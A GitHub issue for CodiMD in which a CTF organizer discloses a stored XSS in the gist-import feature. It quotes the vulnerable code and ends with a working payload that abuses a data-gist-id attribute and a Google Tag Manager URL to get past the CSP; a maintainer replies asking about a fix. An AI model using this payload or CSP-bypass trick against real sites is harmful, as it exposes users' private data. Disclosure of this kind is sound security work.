Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stored XSS in Gist's importing functionality #1689

Closed
lbherrera opened this issue May 30, 2021 · 1 comment · Fixed by #1691
Closed

Stored XSS in Gist's importing functionality #1689

lbherrera opened this issue May 30, 2021 · 1 comment · Fixed by #1691
Labels

Comments

@lbherrera
Copy link

Hi!

I am from the Pwn2Win CTF organization and for this year's edition, one of the challenges we created had as an objective finding a vulnerability on CodiMD that allowed players to retrieve a message from a private note (much like hxp's hackme challenge from last year).

Details on the vulnerability we used to prove that the challenge was solvable can be found below:

CodiMD has a functionality that allows users to import gists through the {%gist gist_id %} syntax.

The gist_id is then run against two different regex rules before a code tag containing a data-gist-id attribute is inserted into the page.

The first regex rule is rather lax and allows almost any character, while the second one is a bit more restrictive and prevents the ?, & and = characters (https://github.com/hackmdio/codimd/blob/develop/public/js/extra.js#L1338).

const gistPlugin = new Plugin(
  // regexp to match
  /{%gist\s*([\d\D]*?)\s*%}/,

  (match, utils) => {
    const gistid = match[1].split(/[?&=]+/)[0]
    const code = `<code data-gist-id="${gistid}"></code>`
    return code
  }
)

Afterward, the gist_id is retrieved from the data-gist-id attribute of the code tag and rendered by the gist-embed library (https://www.npmjs.com/package/gist-embed/v/2.6.0).

The library tries to fetch the gist from Github and if it fails, prints an error message on the page through the use of JQuery's html method (which is insecure).

The error message also contains the id of the gist.

(function(b) {
    [...]
    b.fn.gist = function() {
        return this.each(function() {
            [...]
            e = f.data("gist-id") || "";
            [...]
            c = "https://gist.github.com/" + e + ".json";
            i = "Loading gist " + c + (j.file ? ", file: " + j.file : "") + "...";
            b.ajax({
                url: c,
                [...]
                success: function(q) {
                    [...]
                },
                error: function(o, p) {
                    f.html("Failed loading gist " + c + ":" + p)
                }
            })
        })
    };
    b(function() {
        b("[data-gist-id]").gist()
    })
})(jQuery);

This means that if we try to load an invalid gist that contains HTML code on its id, an error message will be reflected on the page containing the HTML code we used.

For example - if {%gist <strike>This was reflected as HTML!</strike> %} were to be inserted into a CodiMD note, it would be rendered as HTML, as can be seen below:

x

The only thing in the way of achieving XSS is the second regex rule which prevents the ?, & and = characters, and due to the existing CSP, inserting only a script tag wouldn't work.

The solution, however, is simple:

Given CodiMD allows a subset of HTML elements we can simply insert <code data-gist-id="payload"></code> directly into the page (bypassing the regex checks), and it will then be executed by the gist-embed library code.

The final payload uses google-analytics.com to bypass the CSP and execute XSS:

<code data-gist-id='<iframe srcdoc="<script src=https://www.google-analytics.com/gtm/js?id=GTM-1337></script>"></iframe>'></code>
@jackycute
Copy link
Member

jackycute commented May 31, 2021

Hi @lbherrera,

Thanks for reporting us this security issue.
It seems if we put XSS filter to the gist id on insert the <code> tag, will it solve this issue?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants